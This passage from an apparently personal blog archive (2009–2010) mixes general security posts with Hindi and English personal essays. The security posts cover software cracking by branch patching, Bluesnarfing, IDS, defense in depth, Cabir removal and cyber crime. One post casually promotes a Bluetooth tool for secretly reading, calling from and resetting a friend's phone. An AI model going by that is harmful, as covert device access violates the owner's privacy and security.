When using hard-coded keys or passwords, makes them look like program code or function calls (i.e., "73AF" or "GetWindowText"). This actually works very well and confuses some decompilers.

The most common software crack is the modification of an application's binary to cause or prevent a specific key branch in the program's execution. This is accomplished by reverse engineering the compiled program code using a debugger such as SoftICE, OllyDbg, GDB, or MacsBug until the software cracker reaches the subroutine that contains the primary method of protecting the software (or by disassembling an executable file with a program such as IDA). The binary is then modified using the debugger or a hex editor in a manner that replaces a prior branching opcode with its complement or a NOP opcode so the key branch will either always execute a specific subroutine or skip over it. Almost all common software cracks are a variation of this type. Proprietary software developers are constantly developing techniques such as code obfuscation, encryption, and self-modifying code to make this modification increasingly difficult.

A specific example of this technique is a crack that removes the expiration period from a time-limited trial of an application. These cracks are usually programs that patch the program executable and sometimes the .dll or .so linked to the application. Similar cracks are available for software that requires a hardware dongle. A company can also break the copy protection of programs that they have legally purchased but that are licensed to particular hardware, so that there is no risk of downtime due to hardware failure (and, of course, no need to restrict oneself to running the software on bought hardware only).

BlueSnarfing | Protect yourself from BlueSnarfing

2010-01-25T14:52:00.000+05:30

Bluesnarfing is the theft of information from a wireless device through a Bluetooth connection. Bluetooth is a high-speed but very short-range wireless technology for exchanging data between desktop and mobile computers, personal digital assistants (PDAs), and other devices. By exploiting vulnerability in the way Bluetooth is implemented on a mobile phone, an attacker can access information -- such as the user's calendar, contact list and e-mail and text messages -- without leaving any evidence of the attack. Other devices that use Bluetooth, such as laptop computers, may also be vulnerable, although to a lesser extent, by virtue of their more complex systems. Operating in invisible mode protects some devices, but others are vulnerable as long as Bluetooth is enabled.

The steps to do a Bluesnarfing are as follows:

This attack requires attacker should use a J2ME enabled mobile phone.
With your mobile phone go to the crowded place.
One the target is in range use any of the tools available in the market and access the various details form the victims computer.

To prevent your mobile phone from Bluesnarfing, one should follow the following steps:

Update your devices. It's not Bluetooth itself that leaves you vulnerable to Bluesnarfing, but certain quirks in older Bluetooth-enabled phones and PDAs. Early models often came with a default discoverable mode; because manufacturers thought most people wouldn't want to go through complex security procedures to share business cards and phone numbers wirelessly. These loopholes have been eliminated in most new device models.
Hide. Make it a regular practice to switch your Bluetooth-enabled devices to no discoverable mode anytime you're not actively exchanging data with a trusted device, or when you're in an unknown hot-spot area.
Be wary of strangers. By no means pair with an unknown device or accept contact from an unknown source. One of the most common Bluesnarfing techniques is to send you an unsolicited business card; when you accept, the bluesnarfer becomes a trusted device and can access your data.
Use passwords intelligently. Protect your data with PINs of five or more characters, which are harder to hack. And change your passwords often.
Frustrate the snarfers. Keep sensitive data off of Bluetooth-enabled devices in the first place. Even the best security measures can and will be breached. Because of the labor-intensive technology needed to hack into newer devices, bluesnarfers have begun concentrating their efforts on high-stake targets. If you're a bank president or a lottery winner, be warned.
Understand that in rare cases, your bluesnarfer can move you from theft victim to accomplice by taking over your device. This is more than simple bluejacking, the hijacking of your Bluetooth-enabled device by a hacker to make prank calls. In the worst-case scenario, the bluesnarfer becomes a silent, undetected trusted device with the ability to manipulate all your data and applications. Again, this is extremely rare, but if you suspect it, you'll have to restore the factory settings; that's the only way to remove all trusted devices, even hidden ones.

Pair your phone to another phone without knowing its PIN number

2010-01-25T14:49:00.000+05:30

The process of Bluetooth pairing between a cell phone and a headset is rather simple. It begins with placing your Bluetooth device in discovery mode. When in this mode the Bluetooth device is able to be detected by the cell phone. When your Bluetooth headset isn't being used you can turn it off to prevent other Bluetooth devices from detecting it and compromising your privacy.

Once the headset is in discovery mode, also known as Bluetooth pairing mode, the cell phone is programmed to find the headset. When detected, the Bluetooth device's name will appear on the cell phone. This will be the name it was originally programmed with or that you gave it.

After Bluetooth pairing has occurred, you will be required to enter a passkey. As previously mentioned, this passkey is found in the manual that comes with the Bluetooth headset. Often times this passkey is either a zero, or a series of zeros. A secure connection is established when the headset receives the passkey and the two devices interact simultaneously.

A lot of tools are available in the market some of them are free but my favorite is Super Bluetooth Hack is a free application for Java J2ME mobile phones that allows you to remotely access and control features of other J2ME MIDP capable mobile devices such as Nokia, Sony Ericsson or Motorola from your own cell phone using Bluetooth AT commands. Super Bluetooth Hack can be used to search out and connect to Bluetooth-enabled devices nearby. You can access to your friend mobile phone without knowing it.

With Super Bluetooth Hack, we can:

Read SMS text messages
View contacts
Change profile
Restart the mobile device
Switch off the phone
Restore to factory settings/defaults
Play ringtone even if phone is on silent
Change ringing volume
Make phone calls from the other device

IMEI number| Possible to change the IMEI number

2010-01-25T14:47:00.000+05:30

The IMEI (International Mobile Equipment Identity) is a unique 17 or 15 digit code used to identify an individual mobile station to a GSM or UMTS network. The IMEI number provides an important function; it uniquely identifies a specific mobile phone being used on a mobile network. The IMEI is a useful tool to prevent a stolen handset from accessing a network and being used to place calls. Mobile phone owners who have their phones stolen can contact their mobile network provider and ask them disable a phone using its IMEI number. With an IMEI number, the phone can be blocked from the network quickly and easily.

Generally people don’t care about any important mobile phone details like IMEI numbers or any other details of their handsets which is the reason once they lose their handsets they are in a stage where they cannot do anything about the theft. First of all you need to find the IMEI number of your mobile phone which can be easily done by dialing *#06# which once done shows you the Serial Number which is a 15 digit unique number for your mobile phone handset. You need to give this IMEI number to your mobile phone telecom service provider for tracking.

Yes we can change the IMEI number. For changing IMEI numbers, visit only the authorized GII (Genuine IMEI implant) centre's setup on Govt. approved process, which can implant new genuine IMEI on handset. The World Benefiting Consumers in a One Time Opportunity Approved by Government and COAI. Full proof time bound program controlled through online central servers. You need to carry ID proof. (Ex: Voter ID card, Drivers Licenses, etc). Your photograph will be captured at the authorized GII service centre. Pay a nominal charge of Rs 199 (all inclusive) and obtain a receipt. This genuine IMEI implant is recognized by network operators so ‘no barring’ of services.

Concept of Defense in Depth

2010-01-25T14:45:00.000+05:30

Defense in depth is crucial to anti-virus protection, when referring to defense in depth, we will be specifically talking about the utilization of anti-virus software, and other methods to provide a multi-layered anti-malware defense in a corporate environment.

In discussing defense in depth, we need to discuss about protecting systems at three levels:

Desktop and remote users, level 1 users;
File and print servers, application servers, database, email, and web servers, level 2 devices;
Level three, or perimeter devices, such as mail gateways, proxy servers, VPN hosts, and other choke points.

I personally like to include home users with level one device, and make it a point to negotiate this with my anti-virus vendor. After all, many people take work home with them and are encouraged to do so by management; what happens when they bring that work back to the office?

Today, security people are preaching to protect every layer of the infrastructure. Identify your choke points and possible virus entry points and make sure you have anti-virus installed and up-to-date. There's nothing wrong with that as far as it goes. This is entry-level anti-malware stuff. Two key components of proper defense in depth are often overlooked: the first being centralized reporting and control, and the second are what we refer to as fishing with a net, not a line.

It is a well-known fact when you go fishing; you catch more fish with a net than you do with a line and pole. In computer science this is known as redundancy. When one part fails, you have a second system in place to pick-up where the first one left off. In terms of anti-virus protection, many people argue that you should pick the best of breed anti-virus software, so that if anything fails you only have one vendor to take to task.

This would be a fine approach if there were a clear leader in the market that was strong on all platforms. Unfortunately, this is not the case. For the purpose of this discussion, let's just look at organizations that employ Microsoft windows across the enterprise. Such an organization would rely on Windows file and print, as well as application servers, Windows is the desktop system and Exchange is the email. Based on independent reviews, we see several industry leaders that do all these platforms "well" or good enough; however, we can also see that one vendor is best of breed in the Exchange environment, while another vendor is better for the desktop, and a third vendor does is the most effective on server class machines. Add into the mix the fact that many medium and large companies, also use multiple flavors of *nix and you totally upset the apple cart.

Further complicating matters is that different AV solutions use different approaches. Some anti-virus companies will detect "families" of viruses by using a strong heuristics base. These vendors may be able to detect and catch new viruses without specific samples. Other companies prefer the scientific method of exact identification, which enables the AV program to be more precise, more rigorous. Heuristics has the drawbacks of increased overhead and more false positives, while exact identification will allow minor variations to slip through the net, not to mention 0-day viruses. Since our interest is in protecting corporate resources it is incumbent upon us to seek the best possible solution.

While it costs more money up front and it may require coordination with multiple vendors, the best approach found is to use the best of breed for each layer, or at least as many layers as possible. For example, you may employ one vendor's products on the proxy servers and mail gateway, while a second on the exchange servers, file and prints, and desktops. This is defense in depth at a very minimal level. This way if a virus slips through one product, a second one is in place that prevents further proliferation within the company or, even worse, outside the company.

One of the worst tasks in security administration is cleaning a system after virus infection. Once the malicious code is in, it's there for a long time, and by depending on one anti-virus package it may be a while before the admin knows the system is infected. By using two or more products on different levels, you are increasing your chance of getting timely notification of infection, thus increasing your reaction time, and getting BOTH vendors to detect whatever is coming in.

Along with traditional virus scanning, true defense in depth requires some type of non-traditional anti-malware practices like content filtering. Although a non-traditional approach to anti-virus defense, blocking a list of known executable code such as .exe, .com, and .bat files has significantly limited the spread of computer malware. The average user has no need to receive this type of file, either through via email, zip files, or buy downloading from Web sites. Content filtering can make the file available to the end user without giving them the ability to automatically "launch" the potentially malicious code. Content filtering offers the added benefit of removing unwanted junk ware that uses company bandwidth and consumes email storage space.

Content filtering is also advisable on the proxy server level, as there are an increasing number of hostile Java Script and Active-X components. Blocking them at the proxy level keeps them from potentially infecting a host system and spreading to other systems within the company.

Many companies do not have a central point of contact for malware issues. They may have an experienced desktop support person who is the "go-to" guru for virus and anti-virus issues on that platform, but no corporate "architect" to oversee the strategy. There are even some companies who have an individual in the computer security division, but who has no authority for enforcement. These companies do not have the information to tell them where the viruses are coming from, and do not have a clear goal or information to formulate a strategy to protect corporate assets. More importantly, they do not have a central person or group to ensure that all necessary anti-virus provisions are in place. Nor do they have any central person or group who is charged with detecting, containing and responding to an incident.

In this environment, it is easy to become complacent. Since each workgroup is responsible for its own policies and procedures, it becomes easy to assume that they are surely maintaining them. In fact, the reverse is often true. To ensure "availability" of the services required to fulfill the work group's objectives, it is often easier to shut down the anti-virus service than to troubleshoot any issues arising with the AV. For example, a work group may notice that the anti-virus is taking up 80% of CPU usage. Is this because that machine has to work extra hard cleaning/ preventing infections, or has something happened to cause the software to "break"? Rather than taking the time to determine the root cause of the problem, the first reaction is disable or uninstall the anti-virus software, and then spends several days weeks or months in a test environment to determine the cause. During that timeframe the systems are unprotected and becoming a very virus rich environment.

When building a defense in depth, this must be taken into account. Almost all AV vendors now have a central console that allows reporting to an anti-virus administrator. These consoles can generate reports on issues as mundane as the number of machines that are running current anti-virus and how many have not communicated to the central server in a defined period of time, as well as the strategically important virus infection information. By evaluating the detection reports you'll be able to determine the weak points in your defenses. You'll also have the ability to detect workgroups that are disabling or misconfigure the software. The offending parties must then be held accountable. This can be justified by showing management that it takes more than three times the manpower hours to clean an infection as it does to prevent it.

When we look at centralization, we also gain several strengths, in addition to offsetting the negatives we've already discussed. One of these is the ability to perform patch management, or identify the machines that need to have patches applied. Some may not think this is part of an anti-malware strategy, but keep in mind that 80% of viruses use exploits that have had patches released for three or more months. SQL Slammer is one example, companies using a centralized structure that knew their patch level, suffered less than organizations that did not.

Centralized reporting offers administrators the ability to report with confidence to their management the current level of compliance. Having an established central point of contact also establishes a single authority responsible for protecting corporate assets in case of virus infection. By making this an item of responsibility, it is now quantifiable, and since no one likes to fail, steps will be taken to prevent outbreaks, as well as holding everyone to the established policies and procedures, cutting the losses from outbreaks. By appointing a central authority, the organization can establish a standard response to viral incidents, thereby ensuring that in case of infection, the damage can be mitigated and the infection contained.

Defense in depth is more than protecting at every layer of potential penetration. It is a concerted effort of using the best of breed on each platform and at every level of the organization's systems, using content filtering to reduce the risk of non-traditional malicious code infection, and using a centralized reporting and authority to manage the anti-virus protection strategy.

Attack Model Categories

2010-01-25T14:43:00.000+05:30

To effectively implement the IDS it is necessary to understand the nature of attack and the various attack models.

The attack model is classified in two broad types:

Traditional Attack Model

One-to-one
One-to-many

Distributed Attack Model

Many-to-one
Many-to-many

All the above attack models are designed taking in account where left entity is called as attacker and the right one is the targeted system.

In the traditional attack modals there is only on Attacker which is targeting one or more systems to fetch important information.

While on the other hand the Many to one and Many to many attacks where the attacker will attack in a group or from multiple sources on the same time. This type of attack is implemented in the following steps:

Reconnaissance
Compromise the System
Attack Initiation

The advantages of Distributed Attack models are as follows:

Attack Effect: A well co-ordinate attack that originates from the multiple locations will have devastating effects on the target systems.
Anonymity: Since the actual attack originates from the multiple locations the distributed attack model provide the attacker a high ground for covering his tracks.
Hard to stop attacks: As the attacks originated from different sources and they are random in nature so that they will be hard to stop.

Security Mechanism | Different Types of Security Mechanisms

2010-01-25T14:40:00.000+05:30

The process to implement the security properties is known as security mechanism. The various type of mechanism on the basis of properties is as follows:

Attack Prevention
Attack Avoidance
Attack Detection

Attack Prevention: can be defined as a series of security mechanism implemented to prevent or defend against various types of attack before they can actually reach and affect the target systems. An important mechanism is access control which is defined as the process of limiting the access to the resources of the Information System. Access can be implemented at different levels such as the operating system the network and the application layer.

A firewall is also an important access control system that is implemented at the network layer the concept behind firewall is to separate the trusted network from the entrusted network known as internet. The firewall prevents the attack from the outside world against the machines inside the internal network by preventing connection s attempts from the unauthorized entities located outside.

Attack Avoidance: The expansion of connectivity of computers makes the need of protecting the message and message from tampering reading important. This is the technique in which the information is modified in a way that makes is unusable for the attacker. This is performed under the assumption that the attacker may have access to the subject system/information. The sender preprocess the information before it is send through the unsecured system and the same is again post processed on the receiver end systems. This encryption and decryption is perfumed by cryptography mechanism, they are further divided in the following forms:

Secret Key Cryptography
Public Key Cryptography
Hash Functions

Attack Detection: In this mechanism it is assumed that the attacker is able to bypass the installed security measures to access the desired target/information. When such incidents happens attack detection takes the responsibility to report someone that something went wrong somewhere in the system.

Attack detection is not an applicable mechanism instead of that it’s a check/measure which will make sure that if anything happened badly in the system then someone should be notified for the same.

Explain in detail IDS analysis

2010-01-25T14:37:00.001+05:30

Intrusion Detection System (IDS) signature analysis is similar to the analysis that antivirus programs provide. In short, the sensor looks not only at the header information, flags set, and packet shape, but also at the contents of the datagram; typically referred to as the packet payload. The sensor is looking for the payload information, which carries the instructions to be executed at the destination.

The Intrusion detection systems are software or/and hardware based systems that detects intrusions to your network/host based on a number of telltale signs. Active IDSs attempt to block attacks, respond with countermeasures that are already preprogrammed into the IDS or at least alert administrator while the attack progresses in the predefined way. While passive IDSs merely log the intrusion or create audit trail that are apparent after the attack has succeeded.

Intrusion detection describes the intention - not the methodology. There are several different ways by which this can be achieved; so anything that detects intrusions is IDSs. Which method we choose really depends upon what we need.

As part of detecting intrusions the IDS perform various type of analysis. In the IDS, an analysis in the process of organizing the various data related to the IDS and there interrelationship to identify any irregular activities of interest. The Intrusion analysis id divided in 4 phases:

Preprocessing: Before analysis all the captured data needs to be organized in a particular format or pattern for the classification purpose this whole process of organizing data is known as preprocessing. In this process data that is collected from the IDS or IPS sensors needs to be put into some canonical format or a structured database format based on the preprocessing. Once the data is formatted it is further broken down into classifications, which totally depends on the analysis scheme used.

Once the data is classified, it is concatenated and used along with predefined detection templates in which the variables are replaced with real-time data. Some examples are:

Detection of unexpected privilege escalation
Detection of the modification of system log files
ACKDOOR Matrix 2.0 client connect
DDos stream handler to client

Analysis: Once the preprocessing completed this stage begins where the data recorded is compared with the knowledge base, which results to detect weather it’s an intrusion event or a regular activity.

Response: Once obtained, this data needs to be integrated within a database in order for it to be analyzed and used to its best potential. Doing this can be time consuming and costly and may even sidetrack your staff from more profitable and essential duties.

IDS offer a solution to take your response documents and integrate them within almost any data structure ready for you to upload within your own database. Furthermore, daily and weekly analysis reports are provided so you are always in-touch with the latest trends and market requirements.

Refinement: This is an important phase as far as the fine tuning of the installed IDS is concerned. In this stage the fine tuning of IDS is performed based on the based on the previous usage and history. This helps in reducing the false positive levels and to have a more accurate and redefined intrusion detection/prevention system. CTR Cisco Threat Response tool is an example of this stage.

Pain of a Go To Guy | Go-To Person

2010-01-13T22:38:00.004+05:30

First I was writing this blog in English, but soon I realized that nothing is better than mother-tongue ( हिंदी ) to explain your pain.

उस पल का एहसास अतुल्य होता है जब आप को कोई go-to guy बुलाता है, पर ऐसा होने पर जो दर्द होता है, वो एक बार जगजीत सिंह जी ने कहा था !

[मुहँ की बात सुने हर कोई, दिल का दर्द ना जाने कोए]

बीते दिनों मेरे साथ भी कुछ ऐसा ही हुआ, what I wanna to tell here that its too hard to be a Go-To Guy. आपके इस श्रेणी में आते ही आप पर काम को बोझ कुछ इस तरह से हावी होता है की आप ना घर के रहते है ना घाट के बस धोभी के कुत्ते, क्यूंकि आप का सारा समय तो Go-To Guy बनने में चला जाता है, और आप को अपने सगे सम्बन्धियों से सुनने को मिलता है "तुम्हारे पास तो मेरे लिए समय ही नहीं है" OR "You will become too late to say the golden three words या ढाई आखर प्रेम के" और सोने पर सुहागा तो तब होता है जब ना तो आपके काम को सराहा जाता है और ना ही मासिक वेतन में कोई बढोतरी होती है. In totality the nett result is "ढ़ाक के तीन पात".

आपके Go-To Guy बनते ही आपको सारी दुनिया For Granted लेने लगाती है, और होता यह है की आप पर आपसे पूछे बगैर ही जिम्मेदारी आ जाती है. जैसे "यार मेरा दोस्त दिल्ली आ रहा है, उसको यार स्टेशन से pick कर लेना", सामने वाले को इस बात से मतलब ही नहीं है की मैं फ्री हूँ की नहीं, और अगर आप ने ना कह दिया तो बस...

ऐसा सिर्फ निजी जिंदगी में ही नहीं बल्कि ऑफिस में भी होता है, जैसे "यार तुम देख लो कैसे करना है, देख लो यार कुछ समय निकाल कर इसको भी कर दो".

Go-To Guy बनने में कुछ फाएदे भी हैं, जिनका जिक्र में अगले ब्लॉग में करने की कोशिश करूंगा.

New Year Resolution : They don't work

2010-01-09T18:30:00.001+05:30

New year resolution, what a cool thing to do in the first week of every year. I was doing this since in remember, earlier the resolutions was like, 'will wake up early in the morning' or 'will complete home work on daily basis' and a lot of them. Now-a-day they changed a bit according to the priorities in the life. I will hunt job more promptly or will try to complete the package in as soon as possible.
What ever the resolution is the end result remain same always, RESOLUTION GOT OVER IN A WEEK...So this year I don't even tried to take any resolution, but I started to hunt down the reason why I was failed in every single resolution I ever made in my life. I read a lot of articles and papers at last I found something which is making sense to me.
The article was saying that

["Its too hard to develop a behavior with a negative response"].

So If I will make this string as principle then if I wanna quit smoking then just love fresh air Or if I wanna quit drinking then all I have to do is To think about the talk and gossip, I can do without getting drunk. At last If you wanna loose weight then love your figure (I used you because, its not going for me (+: ).

Cabir Virus | CounterMeasures

2009-12-29T18:15:00.001+05:30

The Cabir virus, a worm built for high-end mobile phones. Compared to spyware and virus threats to your Windows PC, Cabir may look like peanuts, yet the worm is on its way to proving its potential. Cabir spreads from high-end mobiles fitted with Windows Mobile, Symbian or NTT DocoMo operating systems, having Bluetooth facility. Unlike the ordinary computer virus/spyware/worm/Trojan, the cell phone virus Cabir takes longer to spread the infection. Basically, it can jump from one Bluetooth-enabled phone to another Bluetooth-enabled phone when both are left in the “discoverable” mode, which lets the phone look for other Bluetooth-enabled devices without the user's knowledge. Once it gains entry to the cell phone, it deletes files from the phone, dials expensive numbers on its own, and most visibly, drains the cell phone batteries.

Cabir arrives to cell phone message inbox as caribe.sis file, which carries the worm. When caribe.sis is clicked, the worm activates and starts looking for new devices to infect over Bluetooth. When Cabir finds another Bluetooth device, it transmits the SIS files to it.

Unlike computer viruses, mobile phone viruses take longer to spread. There are two reasons: one, Bluetooth phones are still not as popular as Windows PCs, so that mass attacks are still not conceived; two, unlike a computer network where a virus can be downloaded and spread, there are no real cell phone networks. An infected phone carrying Cabir has to reach another cell phone close enough to transmit the virus - it cannot spread over voice calls.

When the .sis file is clicked, the cell phone displays a warning message: the supplier could not be verified; continue? If you continue, you had it.

Preventing Cabir mobile phone worm infection:

· Keep you cell phone in “hidden” mode.

· If the Cabir message file (caribe.sis) reaches you, abort installation

Cabir removal tools:

F-Secure Anti-Virus for Symbian can detect Cabir and delete the worm components. After deleting worm, you can delete this directory: c:\system\symbiansecuredata\caribesecuritymanager\

Download, install and run the following Cabir fix tool.

http://www.f-secure.com/tools/f-cabir.sis Or http://www.f-secure.com/tools/f-cabir.zip Or, with a file manager tool, remove the following files:

· c:\system\apps\caribe\caribe.rsc

· c:\system\apps\caribe\caribe.app

· c:\system\apps\caribe\flo.mdl

· c:\system\recogs\flo.mdl

· c:\system\symbiansecuredata\caribesecuritymanager\caribe.app

· c:\system\symbiansecuredata\caribesecuritymanager\caribe.rsc

Defense In Depth | Concept of Defence In Depth

2009-12-29T18:13:00.000+05:30

In discussing defense in depth, we need to discuss about protecting systems at three levels:

· Desktop and remote users, level 1 users;

· File and print servers, application servers, database, email, and web servers, level 2 devices;

· Level three, or perimeter devices, such as mail gateways, proxy servers, VPN hosts, and other choke points.

Security Mechanism | Attack Prevention

2009-12-29T18:06:00.003+05:30

The process to implement the security properties is known as security mechanism. The various type of mechanism on the basis of properties is as follows:

Attack Prevention, Attack Avoidance, Attack Detection

Attack Prevention: can be defined as a series of security mechanism implemented to prevent or defend against various types of attack before they can actually reach and affect the target systems. An important mechanism is access control which is defined as the process of limiting the access to the resources of the Information System. Access can be implemented at different levels such as the operating system the network and the application layer.

Attack Avoidance: The expansion of connectivity of computers makes the need of protecting the message and message from tampering reading important. This is the technique in which the information is modified in a way that makes is unusable for the attacker. This is performed under the assumption that the attacker may have access to the subject system/information. The sender preprocess the information before it is send through the unsecured system and the same is again post processed on the receiver end systems. This encryption and decryption is perfumed by cryptography mechanism, they are further divided in the following forms:

Secret Key Cryptography, Public Key Cryptography, Hash Functions

Attack Detection: In this mechanism it is assumed that the attacker is able to bypass the installed security measures to access the desired target/information. When such incidents happens attack detection takes the responsibility to report someone that something went wrong somewhere in the system.

Attack detection is not an applicable mechanism instead of that it’s a check/measure which will make sure that if anything happened badly in the system then someone should be notified for the same.

Intrusion Detection System | IDS Analysis

2009-12-29T18:02:00.002+05:30

Preprocessing: Before analysis all the captured data needs to be organized in a particular format or pattern for the classification purpose this whole process of organizing data is known as preprocessing. In this process data that is collected from the IDS or IPS sensors needs to be put into some canonical format or a structured database format based on the preprocessing. Once the data is formatted it is further broken down into classifications, which totally depends on the analysis scheme used.

Once the data is classified, it is concatenated and used along with predefined detection templates in which the variables are replaced with real-time data. Some examples are:

· Detection of unexpected privilege escalation

· Detection of the modification of system log files

· ACKDOOR Matrix 2.0 client connect

· DDos stream handler to client

Analysis: Once the preprocessing completed this stage begins where the data recorded is compared with the knowledge base, which results to detect weather it’s an intrusion event or a regular activity.

Response: Once obtained, this data needs to be integrated within a database in order for it to be analyzed and used to its best potential. Doing this can be time consuming and costly and may even sidetrack your staff from more profitable and essential duties.

Refinement: This is an important phase as far as the fine tuning of the installed IDS is concerned. In this stage the fine tuning of IDS is performed based on the based on the previous usage and history. This helps in reducing the false positive levels and to have a more accurate and redefined intrusion detection/prevention system. CTR Cisco Threat Response tool is an example of this stage.

Money Matters for Friendship | True Friendship

2009-12-28T16:49:00.007+05:30

कभी कभी मेरे दिल में यह ख्याल आता है...

What is a true friendship? Do I really have a true friend? on the other hand one more thought coming to my mind, Will it be possible to have a true friend in this Materialistic world?

This thought came to my mind when I was checking my personal balance-sheet, I learned that I have a bad-debt of 84000.

How this came in my account? How can I say it a Bad-Debt? How come...

These are the droplets borrowed by my true friends, so what; it happens in friendship. How come they became a part of bad-debt. Am I not able to recover the same? Or I don't want to recover the same.

Now the question why I don't want to recover this amount, which can bought a lot of pending items in my wish list. Such as a gaming machine my PS-3... Or a laptop as I don't have any where I can play the latest versions of Call Of Duty / Commandos or Delta Force.

After a long चिंतन and having couple of discussions with some Guru's (like Thakur Ji and all), I came to know that, "I don't want to loose friend, because I know it from back of my mind, if I will ask them for money this friendship will be no more."

So Is it really a friendship? or it is just a part-n-partial of now-a-days true friendship.

One more thing may be the reason of this issue that might be I thought they are/were my friends, but I am just a passing by from them.

Anyways for me " झगड़े के कारन तीन जर , जोरू और जमीन "... So If I have any money you can borrow if you won't give it back it will be just a lesson.

Say Sorry Beta Generation | Culture Lost | Our Only Wealth

2009-12-19T23:20:00.009+05:30

Let me try to explain what happened today in the market.

I and Sugandh were eating boiled eggs on a shop on roadside. You know boil eggs with that chopped onion and green chatni... awesome. anyways...

A boy no no a lad in a age of 13-14 yrs came to shop and asked for 10 boiled eggs. Ande wale asked "छिले या गैरछिले" That lad has no answer, he asked again and the lad replied "अरे यह वाला" pointed towards the egg try. AndeWala got confused and looking on us, then I asked to that lad... "He is asking, do you wana these eggs peeled here or not." He said " हाँ हाँ छील कर दो". Then the real comedy happened...

The shopkeeper asked once again "क्या प्याज और मिर्च अलग से दूं या साथ" now what he again don't have any answer. I did the translation again and after that, This lad didn't speak a single word.

I was able to see the embarrassment in his eyes clearly and you know he is a north Indian guy at least they should there mother tounge. Who is guilty here, the parents who pushed there children in ENGLISH. Say sorry to uncle beta... Say in english beta... no beta don't go there....

So, then and there I created a this quote "Say Sorry Beta Generation."

Cyber Crime | Future of Cyber Crime | India | Last

2009-12-13T19:10:00.004+05:30

Future of Cyber Crime and Conclusion

What's in the future for Internet Crime and Punishment? With every new avenue opening up on the Internet, comes more possibilities for criminal intent. The difference now and in the future is, technology and human services are now in place or coming into place, to make these individuals or organizations accountable for their actions.

Laws and punishments for even the smallest Internet crimes are now on the books, or in the process of being created. Make no mistake; once something is on the Internet, it is fact. It is traceable and punishable. No matter how hard someone tries to cover it up, erase it or disassociate from their actions, once the footprint is made, it can't be unmade. Somewhere there is a way to track that footprint. Law enforcement across the globe will enforce it.

The Internet has not only drawn people together, it has drawn international crime fighting agencies together in a common purpose. The Internet is not a free playground anymore. It is a global arena. Internet crime will take the punch.

References

1. Noack, David. “Computer Viruses Cost $12 Billion in 1999”, APB News, Jan. 20, 2000, URL:
http://www.apbnews.com/newscenter/internetcrime/2000/01/20/virus0120_01.html

2. “Love Bug Damage Costs Rise to $6.7 Billion” Press release by Computer Economics, May 9, 2000,URL: http://www.computereconomics.com/cei/press/2000/pr000509.html

3. “Statement for the Record of Guadalupe Gonzalez, Special Agent in Charge, Phoenix Field Division, FBI on Cybercrime” before the Special Field Hearing, Senate Committee on Judiciary, Subcommittee on Technology, Terrorism, and Government Information, Washington, DC, April 21, 2999, URL:
http://www.fbi.gov/pressrm/congress/congress00/gonza042100.htm

4. Noack, David. “Businesses Use $12 Billion of Stolen Software” APB News, May 25, 2000, URL:
http://www.apbnews.com/newscenter/internetcrime/2000/05/25/software0525_01.html

5. Salkeyer, Alex. “Who Pays When a Business Is Hacked?” Business Week Online: Daily Briefing, May23, 2000. URL:
http://www.businessweek.com/bwdaily/dnflash/dnfarch.htm

6. “Cyber attacks rise from outside and inside corporations”, Press Release from Computer Security Institute, March 5, 1999. URL:
http://www.gocsi.com/prelea990301.htm

7. “Ninety percent of survey respondents detect cyber attacks, 273 organization report $265,589,940 in financial losses”, Press Release from Computer Security Institute, March 22, 2000, URL:
http://www.gocsi.com/prelea_000321.htm

8. Howe, Carl; McCarthy, John C.; Buss, Tom; and Davis, Ashley. “The Forrester Report: Economics of Security”, February, 1998

9. Preveen Dalal On Cyber Security in India URL:
http://www.crime-research.org/articles/Cybersecurity-India-Ignored-World/

10. Webster’s Third New International Dictionary, Merriam-Webster, Inc., Springfield, MA, 1986, page 2442.

11. Common Vulnerability and Exposures (CVE) URL:
http://cve.mitre.org

12. NMap URL:
http://www.nmap.org

13. Nessus URL:
http://www.nessus.org

Part 1,Part 2,Part 3,Part 4,Part 5

Cyber Crime | Future of Cyber Crime | India | Part 4

2009-12-13T19:10:00.003+05:30

Hacking Technique, How Hackers Do It

Every day, hackers compromise systems using these attacks. Being aware of how these attacks are performed, you can raise awareness within your organization for the importance of building and maintaining secure systems.

Many organizations make the mistake of addressing security only during installation, and then never revisit it. Maintaining security is an ongoing process, and it is something that must be reviewed and revisited periodically. Using the information in this article, you can try hacking into your organization’s datacenter, high-end server, or other system to determine where basic attacks would succeed. Then, you can address security weaknesses to prevent unauthorized users from attacking the system.

Tricks

A trick is a “mean crafty procedure or practice...designed to deceive, delude, or defraud.” Hackers use tricks to find short cuts for gaining unauthorized access to systems. They may use their access for illegal or destructive purposes, or they may simply be testing their own skills to see if they can perform a task. Given that most hackers are motivated by curiosity and have time to try endless attacks, the probability is high that eventually they do find a sophisticated method to gain access to just about any environment. However, these aren’t the types of attacks we address in this article, because most successful intrusions are accomplished through well-known and well-documented security vulnerabilities that either haven’t been patched, disabled, or otherwise dealt with. These vulnerabilities are exploited every day and shouldn’t be.

Finding Access Vulnerabilities

What generally happens is that an advanced or elite hacker writes a scanning tool that looks for well-known vulnerabilities, and the elite hacker makes it available over the Internet. Less experienced hackers, commonly called “script kiddies,” then run the scanning tool 24 x 7, scanning large numbers of systems and finding many systems that are vulnerable. They typically run the tool against the name-spaces associated with companies they would like to get into.

The script kiddies use a list of vulnerable IP addresses to launch attacks, based on the vulnerabilities advertised by a machine, to gain access to systems. Depending on the vulnerability, an attacker may be able to create either a privileged or non privileged account. Regardless, the attacker uses this initial entry (also referred to as a “toe-hold”) in the system to gain additional privileges and exploit the systems the penetrated system has trust relationships with, shares information with, is on the same network with, and so on.

Once a toe-hold is established on a system, the attacker can run scanning tools against all the systems connected to the penetrated system. Depending on the system compromised, these scans can run inside an organization’s network.

Finding Operating System Vulnerabilities

As mentioned previously, hackers first look for vulnerabilities to gain access. Then they look for operating system (OS) vulnerabilities and for scanning tools that report on those vulnerabilities.

Finding vulnerabilities specific to an OS is as easy as typing in a URL address and clicking on the appropriate link. There are many organizations that provide “full disclosure” information. Full disclosure is the practice of providing all information to the public domain so that it isn’t known only to the hacker community.

Attacking Solaris OE Vulnerabilities

Let’s use Solaris 2.6 OE as an example. A well-known vulnerability, for which patches are available, is the sadmind exploit. Hackers frequently use this vulnerability to gain root access on Solaris 2.6 OE systems.

Using only a search engine and the CVE number, found by searching through the Mitre site listed previously, it is possible to find the source code and detailed instructions on how to use it. The entire process takes only a few minutes. The hacker finds the source code on the Security Focus web site and finds detailed instructions on the SANS site.

Tools

Hackers use a variety of tools to attack a system. Each of the tools we cover in this article have distinct capabilities. We describe the most popular tools from each of the following categories:

· Port scanners

· Vulnerability scanners

· Rootkits

· Sniffers

Port Scanners

